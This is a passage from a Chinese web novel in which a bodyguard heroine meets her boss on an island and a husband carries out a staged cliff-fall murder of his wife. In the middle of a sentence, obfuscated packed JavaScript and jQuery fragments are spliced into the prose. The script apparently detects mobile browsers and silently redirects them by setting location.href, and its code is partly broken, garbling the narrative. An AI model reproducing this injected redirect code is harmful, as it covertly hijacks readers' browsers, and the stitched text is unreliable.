她一边暗自推理,一边推门钻进清凉的室内。 “悠悠,来吃饭?”有人跟她打招呼。 她一心琢磨那鬼影的真实身份,没顾上分辨声音,下意识以为是厨师小李说话嘴角噙了笑意转过脸去,却发现坐在沙发里跟她打招呼的正是昨天晚上被她痛骂一通的池易。 脸色瞬间冷却的傅悠悠:“……” 池易像没看到她厌恶的表情一样,抬手晃了晃手里的两个纸袋:“我来拿午餐,顺便拿上几瓶电解质饮料。” 傅悠悠心说:谁问你了啊? 她有掉头就走的冲动,但门外的高温又着实劝退。 好在这种纠结没有持续多久——池易说着就起身准备离开。 “晚栀说下午想出去看看岛上的几个景点,我担心这么热的天她会中暑。” 他像是被设置好的ai机器人,把话说完之后,才推门走了出去。 “神经病啊,自说自话什么?”傅悠悠隔着衣料抚了抚胸口的挂坠,翻个白眼,上楼去了。 午餐是汉堡,确实容易易取易吃。 她选好汉堡,拎了纸袋出来,突然听到走廊深处有笃笃的敲门声。 这一层楼里,除了餐厅厨房就只有厨师的宿舍。 这个时间点,谁会去敲厨师的门啊? 她有些纳闷,向着敲门声走过去。 走廊只在尽头处有一扇窗户,阳光透进来,反而将室内的昏暗挤压得密度更高,傅悠悠看不清站在厨师宿舍门口的是谁,只是又听到几声急促地敲门声,房间里仍旧没有人应。 傅悠悠走近了些,终于认出了面前的人,正是蓝少杰。 他转过头来,看到傅悠悠后,愣了一下:“傅助理。” “杰哥是想找厨师小姐姐吗?”傅悠悠问。 “对……也没什么事。”蓝少杰笑了笑,“就是想认识一下。” 傅悠悠想起早上在北别墅外,蓝少杰似乎确实对厨师小姐姐十分在意,当时胡翊风还问他是不是看上人家了。 可刚才那一阵阵急促的敲门声,实在不像是单纯只想认识一下。 傅悠悠往他身后紧闭的房门看了一眼道:“看来厨师小姐姐不在房间,真可惜。要不然你直接从群里加她微信?” “嗯,我试试看。”蓝少杰从宿舍门口走开,看到她手里的纸袋,问道,“傅助理要带回东别墅吃?” “嗯,一起走吗?”傅悠悠问。 “我还是在这吃吧,反正回去也是一个人吃。”蓝少杰向她点头道了别,往餐台走去。 傅悠悠下了楼,鼓足勇气推门走出了南别墅,屋外的热浪再次将她包围。 蝉鸣声像热海里的浪潮,一波接着一波,每个音符都传递着炽热的温度,将周围一切声响都融成软烫的一片。 因着这声响,傅悠悠完全没有注意到树丛里簌簌的声音,直到那个人影从树丛中猛地冲出来。 19. 第 19 章 来不及躲闪,傅悠悠下意识撤步,做好了近身搏斗的准备,却见从树丛中冲出来的人不是别人,竟是顾汲问。 他停在她面前,喘着粗气,衣角和发梢沾着树丛里蹭到的细枝和树叶。 她第一回见他这样狼狈急促的样子。 “顾总?”傅悠悠吃惊道,“出什么事了?” “为什么不接电话?”他的胸口剧烈起伏着,语气里少见地掺杂了些情绪,说不上是责备还是焦躁。 傅悠悠拿出手机,屏幕亮起的瞬间未接来电的通知就跳了出来,足足十通,全都是顾汲问打来的。 “抱歉,不小心静音了。”傅悠悠道着歉,眼神里却全是疑惑,“顾总着急找我是有什么事吗?午餐的话我帮您拿上了。” 她晃晃手里的纸袋。 “不是跟你说过不要单独行动吗?” 脱口而出,顾汲问自己都愣了一下。 这句话语气着实有些糟糕,听起来甚至算得上是质问。 他一直自诩冷静,也总被身边的人称赞沉稳,在工作中很少被情绪裹挟,更别说对下属用这样的语气讲话。 可这次,他不知道自己是怎么了,在发现联系不上她的那一刻就乱了阵脚。 甚至在岔路口没有犹豫就直接钻进树林抄近路赶过来。 是剧本杀里扮演阿沥入戏太深,还是刚才午睡时的梦魇令他恍惚,他也说不清。 好在,傅悠悠似乎没有注意到他糟糕的语气和情绪。 她只是愣了一下,既而勾唇道:“顾总是在担心我?” 他忽而发现,初见时,她的笑颜总让他忍不住想起那个人。 但现在他却会因为在噩梦里看到那人的脸,而第一时间想到她。 没错,他确实很担心她。 这种变化是从什么时候开始的呢? 是从她遇到危险抢先挡在自己身前那一刻?还是她男友的那一通来电?又或者,从她在病床上睁开眼看向他的第一眼就已经开始了? 压下繁杂的思绪,顾汲问抬手掸掉挂在袖口的叶子,神情淡淡道,“这个岛没有你想的那么安全。” “那顾总觉得谁是最危险的?” 早上在海边那段对话,她确定顾汲问想要通过这次活动找到三年前案子的真相,但他十分谨慎不肯透露一点信息。 傅悠悠早就计划好像这样旁敲侧击。 “每个人都很危险。”顾汲问看着她的眼睛,一字一顿,“包括我。” 他接过傅悠悠手里的纸袋转身往回,走了几步又停住,重新看向她,神情严肃:“另外,往后如果再遇到危险,你不要挡在我前面。” 傅悠悠愣了几秒,才明白他说的是早上何美恶作剧的事,不禁哑然失笑,“顾总,你是不是忘了,我是你的私人保镖,遇到危险肯定要挡在老板前面啊。” 顾汲问闻言神色忽然变得有些难看,眼里甚至划过一丝失落。 一定是自己看错了,傅悠悠想,哪有老板看到员工认真工作还不乐意的。 用不太友善的眼神与她对视片刻,顾汲问冷冷开了口:“你去开摆渡车,我要去岛西南的浅滩看看,私人保镖,” 不知为何,他语气比刚才更冷,最后四个字还咬得格外重。 “我来开摆渡车?”方晚栀脚步一停,有些不情愿。 “嗯,我还有点困,想在车上再眯一会。”池易笑着拧开电解质水,送到她嘴边,“这次就辛苦你了。” “都说了那儿不用提前去看,游戏而已没必要那么认真,既然困就再回去睡一会儿。” 池易从她的dm手册上,看到明天一早的第五幕有在悬崖的戏份,非要她陪他提前去看一眼。 即便已是下午三点,天气还是十分燥热,方晚栀不想去。 “就陪我去看看吧,还能看看沿途的风景。”池易语气里带着恳切,“我们最后一次旅行,你都不愿陪我吗?” 又来了。 方晚栀心底泛起一丝烦躁。 算了,懒得跟他纠缠,就顺着他的意思来吧,反正就这几天了。 方晚栀强压下心底躁意,跟着池易出了门。 当到南院门口时,摆渡车只剩了一辆。 这么热的天,摆渡车竟然这么抢手…… 到底是谁跟池易一样闲得慌。 她一边心里吐槽,一边坐上驾驶席,发动摆渡车。 “亲爱的,能不能从这边走?” 他又在提要求,方晚栀皱了皱眉心里有些不耐。 别墅区外有一个十字分岔路口,一条通向别墅区大门,西边那条就是今天早上去看日出的时候走的路线。 池易指着中间的路说:“西边那条路今天早上走过了,咱走中间这条怎么样,这条也能拐上环海路,而且说不定能看到新风景。” 方晚栀侧目看了眼路边的指示路牌,那个牌子有些歪掉了。 看来他是提前研究了地图,不然怎么连路牌都不用看就知道中间这条路也能拐上环海路的? 她依他所言,转动方向盘向着他指的方向开去。 池易坐在方晚栀身后,看着她的背影,脸上划过一抹得逞的笑。 一切都在按照计划进行。 中间这条路开出去,是码头西边的大坝,要去往悬崖,得多开出二十分钟左右的路程。但走这条路的好处在于,他们会路过码头——岛上唯一有监控的地方。 到那时,摄像头会尽职尽责地记录下她亲自开着摆渡车带着他前往悬崖的画面。 然后她会按照他策划好的,在悬崖处“不小心”坠崖身亡。 而这段摄像头记录下的画面,将成为她坠崖是事故而非人为事件的证据之一。 不久的将来,他的律师将会用这段视频来证明此次出行,是死者方晚栀主动提出的。 如果还有人提出质疑,他可以请出人证。 没错,刚才他去拿午餐,特意在南院餐厅一楼逗留,就是为了找到人证。 虽然不巧遇到的是对他抱有敌意的傅悠悠,但她的为人他是了解的,至少在面对警方质询的时候,她不会说谎。 人证加上物证,大家只会当他是个可怜的鳏夫,没人会想到这趟悬崖之行是他精心策划多时的杀妻陷阱。 “当心!”池易拉着方晚栀登上悬崖观景台。 这处观景台只有两三米见方,这也正是他选择这里作为自己杀人地点的原因之一。 这里地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946054|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,要拍照的话,人就只能贴着栏杆。 如果栏杆足够矮,再施加一点外力,人是很容易跌落下去的。 不过,据他了解,胡翊云做事一向严谨,他负责的项目,肯定会考虑到这一点。 所以他昨晚趁其他人在南别墅玩牌的时间,提前来这里踩了点。 受到午餐时傅悠悠关于鬼影描述的启发,他还顺便套上了胡翊风的白袍和何美的假发,这样即便被人看到,大家也只当这岛是真闹鬼了。 昨晚他先是试着用微型电锯破坏栏杆,但很快作罢,这栏杆虽然看似是木质的,实际上里面有不锈钢做支撑,切割半天白白弄得白袍上全是碎木屑,栏杆却纹身未动。 于是他决定实施planB,从悬崖下的石滩上搬了几块平整的石头摞在栏杆边上形成一个小型石台。 只要哄方晚栀站到这个石台上,再趁她不注意推她一把,不愁她掉不下去。 两人站在观景台栏杆前,沉默远眺。 池易侧头看向身旁的方晚栀。 她对他的计划毫无觉察,身心放松地眺着海平线,眼睛里映着大海和天空。 这是他最后一次仔细地端详她。她的侧脸很美,虽然当初结婚并非出于爱情,但相处两年多,他也曾不止一次对这张脸神驰心动,如今到了永别的时刻,心底也不免泛起淡淡的不舍。 但对于他这样出身低温的人来说,想闯出一番天地,爱情这样奢侈又虚无的东西,总是最先被舍弃的。 三年前他是这样选择的,三年前后的今天,他仍是没有一丝犹豫。 其实在方晚栀提出离婚以前,他就隐隐动了杀掉她的念头。 本以为结婚后,他在事业上能得到方家的助力,结果方家却把一切培养重心都放在独女方晚栀身上。他慢慢意识到,只要方晚栀在,方家的钱与权永远都只会流向她,他就算再卖力,也顶多只是为他人做嫁衣。 可如果方晚栀死了,事情就不同了。 方晚栀是独女,方家只剩他这个女婿,方秦那个死老头子再看不上他,最后也还是只能指望他。 他的视线从方晚栀侧脸移开,向下扫视悬崖正下方的石滩,那里将会是她殒命的地方,也会是他池易改命的地方。 心底泛起一阵麻酥酥的兴奋。 “亲爱的,现在是不是觉得来对了?”他压抑着内心翻涌的悸动,柔声问。 “嗯,确实很美。”方晚栀还看着海平面。 “来拍个照吧。”他说着后退几步,从背包里拿出三角支架,将自己的手机架在上面,盯着屏幕调整着参数,“亲爱的,这个栏杆正好挡到海平线了,你站到石台子上。” 方晚栀点了点头,依言站到了他昨晚垒好的石台上。 石台有三四十厘米高,站上去之后,原本在方晚栀腰部以上的栏杆一下子降到了她大腿位置。 一阵风吹过,取景器里方晚栀的头发随着风高高扬起,池易想象着她一会坠落时的样子,笑着点头道:“好极了,这样刚刚合适。” 他设定好自动快门,也站到石台上,挨着方晚栀站到她的左边,右手自然地搭到她肩膀上。 快门声响过,他猛地转身,左手向方晚栀前胸狠推一把……